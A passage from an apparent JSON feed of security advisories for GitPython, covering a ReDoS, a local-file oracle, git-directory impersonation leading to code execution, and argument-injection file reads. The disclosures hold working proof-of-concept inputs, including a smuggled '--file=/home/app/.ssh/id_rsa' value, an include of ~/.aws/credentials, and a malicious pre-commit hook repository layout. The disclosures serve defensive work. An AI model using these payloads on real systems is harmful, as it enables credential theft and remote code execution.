parser.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T23:29:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx","https://github.com/gitpython-developers/GitPython/pull/2215","https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml","https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos","https://github.com/advisories/GHSA-g5vv-9gxw-82hx"],"source_kind":"github","identifiers":["GHSA-g5vv-9gxw-82hx","CVE-2026-87819"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-10-02T15:00:19.278Z","epss_percentage":0.00521,"epss_percentile":0.41721,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNXZ2LTlneHctODJoeM4AB7RW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNXZ2LTlneHctODJoeM4AB7RW","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.60","vulnerable_version_range":"\u003c= 3.1.59"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNXZ2LTlneHctODJoeM4AB7RW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13aGg0LTVxNmMtOXYzeM4AB7RV","url":"https://github.com/advisories/GHSA-whh4-5q6c-9v3x","title":"GitPython: --no-index bypasses diff unsafe-option protections and enables a blind local-file content oracle","description":"### Summary\n\nGitPython 3.1.59 blocks a previously available local-file read path through unsafe git diff options such as -O/--orderfile.\n\nHowever, the high-level diff API still permits --no-index with the default allow_unsafe_options=False.\n\n--no-index changes the semantics of the paths arguments: instead of repository-relative pathspecs, Git interprets them as arbitrary filesystem paths.\n\nWhen combined with the still-allowed -I/--ignore-matching-lines option, this creates a content-dependent Boolean oracle over a caller-selected local file.\n\nThis was reproduced against the published GitPython 3.1.59 wheel.\n\nThe original unsafe-option path is blocked in 3.1.59, while this alternate path remains reachable without setting allow_unsafe_options=True.\n\n### Details\n\nConfirmed API surface:\n\nrepo.index.diff(\n    None,\n    no_index=True,\n    I=pattern,\n    paths=[baseline_path, target_path],\n    create_patch=True,\n)\n\nThe relevant behavior is:\n\n1. --no-index makes the two values supplied via paths filesystem operands rather than repository pathspecs.\n2. -I/--ignore-matching-lines makes Git's result depend on whether the supplied regular expression matches the relevant file content.\n3. GitPython exposes the resulting bit through distinguishable behavior:\n   - matching condition: normal return with an empty DiffIndex\n   - non-matching condition: GitCommandError with exit status 1\n\nAn application that forwards attacker-influenced diff options and paths and exposes the success/error distinction can therefore be queried repeatedly to recover a guessable local single-line secret.\n\nThe issue was confirmed with the default allow_unsafe_options=False.\n\nThe behavior does not require the caller to explicitly opt into GitPython's unsafe-option mode.\n\nVerified intended security boundary:\n\n- GitPython 3.1.58 accepts the earlier -O/--orderfile local-file input path.\n- GitPython 3.1.59 rejects that same path with UnsafeOptionError.\n- GitPython 3.1.59 still permits the --no-index alternate path described above.\n\nThis appears to be an alternate route to the same local-file confidentiality property that the 3.1.59 diff option hardening is intended to protect.\n\n### PoC\n\nA minimal reproducer, controlled extraction demonstrator, proof matrix, and proposed remediation are included in the attached package.\n\n[gitpython-3159-maintainer-evidence.zip](https://github.com/user-attachments/files/31123571/gitpython-3159-maintainer-evidence.zip)\n\n\nThe minimal reproducer creates only temporary researcher-controlled files and demonstrates the following predicate:\n\ncorrect prefix   -\u003e normal GitPython return\nincorrect prefix -\u003e GitCommandError(status=1)\n\nIn the controlled extraction test, I generated three independent random single-line values and recovered all three exactly through repeated calls to the GitPython high-level API.\n\nResult: 3/3 recovered.\n\nThe extraction harness also installs a Python audit hook that rejects direct Python open() access to the target file during the oracle phase. The content-dependent read is therefore performed by the child git process invoked through GitPython rather than by the reproduction script directly.\n\nControls were also tested:\n\n- normal repository-scoped diff: no secret disclosure\n- same outside paths without --no-index: no arbitrary-filesystem interpretation\n- deliberately incorrect predicate: status 1 as expected\n\nSuggested remediation is to classify --no-index as unsafe for the high-level diff API unless the caller explicitly sets allow_unsafe_options=True.\n\n### Impact\n\nPotential impact is disclosure of local files readable by the process running GitPython.\n\nExploitation requires an embedding application to allow an attacker to influence:\n\n1. the relevant diff options,\n2. both path operands, and\n3. repeated requests while exposing a distinguishable success/error result.\n\nThe demonstrated attack is a blind content oracle rather than a one-request in-band file read. It is particularly applicable to short or structured single-line secrets where the target path and approximate value format are known or guessable.\n\nConfirmed affected release: GitPython 3.1.59.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T23:28:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-whh4-5q6c-9v3x","https://github.com/gitpython-developers/GitPython/pull/2217","https://github.com/gitpython-developers/GitPython/commit/09f2cf383a992d1af697364569e9f384748c1bd8","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3983.yaml","https://www.vulncheck.com/advisories/gitpython-3.1.59-local-file-content-oracle-via-no-index","https://github.com/advisories/GHSA-whh4-5q6c-9v3x"],"source_kind":"github","identifiers":["GHSA-whh4-5q6c-9v3x"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-10-02T15:00:19.280Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aGg0LTVxNmMtOXYzeM4AB7RV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13aGg0LTVxNmMtOXYzeM4AB7RV","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":"3.1.60","vulnerable_version_range":"\u003e= 3.1.59, \u003c 3.1.60"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aGg0LTVxNmMtOXYzeM4AB7RV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yMzlnLXdoZnEtN3hqOc4AB7RU","url":"https://github.com/advisories/GHSA-239g-whfq-7xj9","title":"GitPython: Repository content can impersonate the git directory, leading to arbitrary code execution","description":"### Summary\n\n`Repo.__init__` decides which directory is the git directory by testing candidate paths in an order that\nconsiders the real `.git` **last**. Two earlier tests can be satisfied by ordinary tracked files. Git\nreserves only the literal name `.git`, so `HEAD`, `objects/`, `refs/`, `config`, `gitdir`, `commondir`\nand `hooks/` at a repository root are all legal tracked content.\n\nConsequently, after a victim opens or clones an attacker's repository, GitPython resolves `git_dir` to\nthe **working-tree root** while real git correctly resolves `\u003croot\u003e/.git`. Everything GitPython then\ntreats as \"inside the git directory\" is attacker-authored content — including `hooks/`, which it\nexecutes.\n\n### CVE-2026-87817\n\n### Affected code (3.1.59)\n\nThe discovery loop in `git/repo/base.py` tests, in order:\n\n1. `git/repo/base.py:299` — `isfile(curpath/gitdir)` **and** `isfile(curpath/commondir)` **and** `isfile(curpath/HEAD)`\n2. `git/repo/base.py:320` — `is_git_dir(curpath)`\n3. `git/repo/base.py:341` — `dotgit = osp.join(curpath, \".git\")` ← the real git dir, considered last\n\n`is_git_dir` (`git/repo/fun.py:60`) requires only that `objects/` and `refs/` are directories and that\n`HEAD` is a file; **`HEAD`'s contents are never parsed.** The hook path is resolved from\n`index.repo.git_dir` (`git/index/fun.py:73`), i.e. the mis-resolved directory.\n\n### Proof of concept\n\nRequires only `pip install GitPython==3.1.59`. Full script attached as `poc1_rce.py`; it runs entirely\nin a temp directory and the payload only writes a marker file.\n\nAttacker repository — four ordinary tracked files at the root:\n\n| path | mode | content |\n|---|---|---|\n| `gitdir` | 100644 | `.git\\n` |\n| `commondir` | 100644 | `.git\\n` |\n| `HEAD` | 100644 | `ref: refs/heads/master\\n` |\n| `hooks/pre-commit` | **100755** | `#!/bin/sh` + payload |\n\nVictim — two ordinary calls:\n\n```python\nrepo = git.Repo.clone_from(url, dst)     # or git.Repo(dst)\nrepo.index.commit(\"automated commit\")    # code execution happens here\n```\n\nObserved on the PyPI release 3.1.59 (Linux and Windows):\n\n```\nreal git says the git dir is : /tmp/.../victim/.git\nGitPython says it is         : /tmp/.../victim      \u003c- shadowed\nattacker's hook executed     : True\ngit fsck                     : (clean)\n```\n\nThe `pre-commit` hook runs at `git/index/base.py:1201`, before `write_tree()`, so it fires even though\nthe commit later fails.\n\n### Impact\n\nA service that opens or clones an untrusted repository with GitPython — a CI runner building a fork\npull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool —\ncan be made to:\n\n1. **Execute arbitrary commands** via the tracked `\u003croot\u003e/hooks/pre-commit` when the victim calls\n   `index.commit()`.\n2. **Read files outside the repository**: the tracked `\u003croot\u003e/config` becomes the repository config and\n   is parsed with `merge_includes=True` (`git/repo/base.py:765`), so `[include] path = ~/.aws/credentials`\n   discloses the file. (`Repo._config_reader` still defaults `merge_includes=True`, so the hardening\n   added in 3.1.59 for `.gitmodules`/GHSA-7833 does not cover this path.)\n3. **Write a config file to an attacker-chosen directory** via an absolute tracked `commondir`.\n\nDelivery is silent: `git clone` exits 0, `git fsck` (including `--strict`, and with\n`transfer.fsckObjects`/`fetch.fsckObjects=true`) reports nothing, and the clone passes every read-only\nprobe (`head.commit`, `branches`, `is_dirty()`, `untracked_files`, `iter_commits`) because a tracked\n`commondir` of `.git` pins `common_dir` to the real `.git`.\n\n### Threat model / preconditions\n\n- Attacker controls the content of a repository the victim opens or clones with GitPython (public repo,\n  fork PR, mirrored dependency).\n- For code execution, the victim performs a commit via GitPython's native `index.commit()`. For the\n  file-read impact, opening the repo and reading config is enough.\n- `GIT_WORK_TREE` is **not** a mitigation — `git_dir` is assigned and the discovery loop breaks before\n  the environment is consulted.\n- Real git is unaffected; only GitPython mis-resolves the directory.\n\n### Remediation\n\n1. Test `curpath/.git` **before** the `gitdir`/`commondir`/`HEAD` triple and before `is_git_dir(curpath)`.\n2. Resolve `hook_path` / `_commit_hook_path` / `_get_validated_reflog_path` through `repo.common_dir`.\n3. Containment-check `commondir`/`gitdir` contents before joining (reuse\n   `SymbolicReference._get_validated_path`).\n4. Validate `HEAD` in `is_git_dir` (require `ref: refs/...` or a 40-hex sha).\n5. Pass `merge_includes=False` in `Repo._config_reader` (`git/repo/base.py:765`).\n\n### Note for the maintainers\n\nCommit `406b98e1` (2026-05-31, \"respect core.hooksPath for commit hooks\") resolved the hook path via\n`git rev-parse --git-path`, which is immune because git rediscovers the true `.git`. Commit `9bc287a2`\n(2026-07-20) reverted it to avoid an unconditional `rev-parse` dependency — reintroducing the exec step.\nMeasured at each commit with the healthy-looking layout: `406b98e1` → hook did not fire; `9bc287a2` …\n`3.1.59` → hook fired.\n\n### Scope note\n\nOnly the **repository-root** case is reported: where a real `.git` exists, git prefers it, and GitPython\ndoes not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a\ngeneral ecosystem hazard rather than a GitPython defect.\n\n###POC Files :\n[poc1_rce.py](https://github.com/user-attachments/files/31388464/poc1_rce.py)\n[poc2_file_read.py](https://github.com/user-attachments/files/31388465/poc2_file_read.py)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T23:27:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9","https://nvd.nist.gov/vuln/detail/CVE-2026-87817","https://github.com/gitpython-developers/GitPython/pull/2218","https://github.com/gitpython-developers/GitPython/commit/c7cf4d13b1ed0a2e70f2a1f3c6b4fc6c2652cf0b","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3982.yaml","https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation","https://github.com/advisories/GHSA-239g-whfq-7xj9"],"source_kind":"github","identifiers":["GHSA-239g-whfq-7xj9","CVE-2026-87817"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-10-07T16:00:19.116Z","epss_percentage":0.00405,"epss_percentile":0.32519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMzlnLXdoZnEtN3hqOc4AB7RU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yMzlnLXdoZnEtN3hqOc4AB7RU","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":"3.1.60","vulnerable_version_range":"\u003c= 3.1.59"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMzlnLXdoZnEtN3hqOc4AB7RU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcGY1LTN3ZnctZmg3cc4ABvJK","url":"https://github.com/advisories/GHSA-qpf5-3wfw-fh7q","title":"Duplicate Advisory: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-g5vv-9gxw-82hx. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-09T12:32:15.000Z","withdrawn_at":"2026-09-30T23:29:03.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx","https://nvd.nist.gov/vuln/detail/CVE-2026-87819","https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos","https://github.com/advisories/GHSA-qpf5-3wfw-fh7q"],"source_kind":"github","identifiers":["GHSA-qpf5-3wfw-fh7q"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-10-02T15:00:19.279Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcGY1LTN3ZnctZmg3cc4ABvJK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcGY1LTN3ZnctZmg3cc4ABvJK","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.59"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcGY1LTN3ZnctZmg3cc4ABvJK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ycHhxLTV2Y2ctcnEyOc4ABvJp","url":"https://github.com/advisories/GHSA-2pxq-5vcg-rq29","title":"Duplicate Advisory: Repository content can impersonate the git directory, leading to arbitrary code execution","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-239g-whfq-7xj9. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-09T12:32:15.000Z","withdrawn_at":"2026-09-30T23:27:47.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9","https://nvd.nist.gov/vuln/detail/CVE-2026-87817","https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation","https://github.com/advisories/GHSA-2pxq-5vcg-rq29"],"source_kind":"github","identifiers":["GHSA-2pxq-5vcg-rq29"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-10-02T15:00:19.282Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycHhxLTV2Y2ctcnEyOc4ABvJp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycHhxLTV2Y2ctcnEyOc4ABvJp","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.59"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycHhxLTV2Y2ctcnEyOc4ABvJp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ydzU4LXdjNjYtOTlnNM4ABvJt","url":"https://github.com/advisories/GHSA-rw58-wc66-99g4","title":"Duplicate Advisory: GitPython 3.1.59: --no-index bypasses diff unsafe-option protections and enables a blind local-file content oracle","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-whh4-5q6c-9v3x. This link is maintained to preserve external references.\n\n## Original Description\nGitPython 3.1.59 fails to restrict the --no-index option in the high-level diff API, allowing attackers to read arbitrary filesystem paths as repository operands. Attackers can combine --no-index with -I/--ignore-matching-lines to create a content-dependent Boolean oracle, repeatedly querying local files to recover single-line secrets through distinguishable success or error responses.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-09T12:32:15.000Z","withdrawn_at":"2026-09-30T23:28:15.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-whh4-5q6c-9v3x","https://nvd.nist.gov/vuln/detail/CVE-2026-87818","https://www.vulncheck.com/advisories/gitpython-3.1.59-local-file-content-oracle-via-no-index","https://github.com/advisories/GHSA-rw58-wc66-99g4"],"source_kind":"github","identifiers":["GHSA-rw58-wc66-99g4","CVE-2026-87818"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-10-02T15:00:19.281Z","epss_percentage":0.00412,"epss_percentile":0.32648,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydzU4LXdjNjYtOTlnNM4ABvJt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ydzU4LXdjNjYtOTlnNM4ABvJt","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.1.59, \u003c 3.1.60"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydzU4LXdjNjYtOTlnNM4ABvJt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zd3h3LXh2MzQtMmZyZ84ABu8U","url":"https://github.com/advisories/GHSA-3wxw-xv34-2frg","title":"GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)","description":"## Summary\n`TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance).\n\n## Root Cause\nThe fix `3af0c251` added `unsafe_git_tag_options = [\"--file\",\"-F\"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference=\"--file=\u003cpath\u003e\"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents.\n\n## Impact\nArbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`.\n\n## Proof of Concept\n```python\nfrom git import TagReference\nt = TagReference.create(repo, \"vpwn\", reference=\"--file=/home/app/.ssh/id_rsa\")\nprint(t.tag.message)   # contents of the file\n```\n\n## Attack Chain\n1. Entry: app calls `TagReference.create(repo, name, reference=\u003cuser\u003e)` with `reference=\"--file=/home/app/.ssh/id_rsa\"`.\n2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), [\"--file\",\"-F\"])` @ tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file=\"…\"` IS blocked; only the positional escapes).\n3. Sink: `repo.git.tag(*args, **kwargs)` @ tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=\u003csecret\u003e']`.\n4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read).\n\n## Bypass Evidence\nIndependently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=\u003csecret\u003e')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='\u003csecret\u003e')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate).\n\n## Affected Versions\n`GitPython \u003c= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files).\n\n## Suggested Fix\nInclude the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T19:42:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg","https://nvd.nist.gov/vuln/detail/CVE-2026-78679","https://github.com/gitpython-developers/GitPython/pull/2208","https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create","https://github.com/advisories/GHSA-3wxw-xv34-2frg"],"source_kind":"github","identifiers":["GHSA-3wxw-xv34-2frg","CVE-2026-78679"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T20:00:09.256Z","updated_at":"2026-10-02T15:00:44.771Z","epss_percentage":0.00255,"epss_percentile":0.15518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd3h3LXh2MzQtMmZyZ84ABu8U","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zd3h3LXh2MzQtMmZyZ84ABu8U","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.59","vulnerable_version_range":"\u003c= 3.1.58"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd3h3LXh2MzQtMmZyZ84ABu8U/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bWNjLWhyeDUtaHZ4Y84ABu8T","url":"https://github.com/advisories/GHSA-8mcc-hrx5-hvxc","title":"GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination","description":"- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` — *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository's entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n    Allow unsafe options to be used, such as ``--template`` and\n    ``--separate-git-dir``.\n```\n\ni.e. the maintainers' own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n    \"--upload-pack\",\n    \"-u\",\n    \"--config\",\n    \"-c\",\n    \"--template\",\n    \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list — gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` — no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path — which can be **any path outside the intended clone destination** that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the 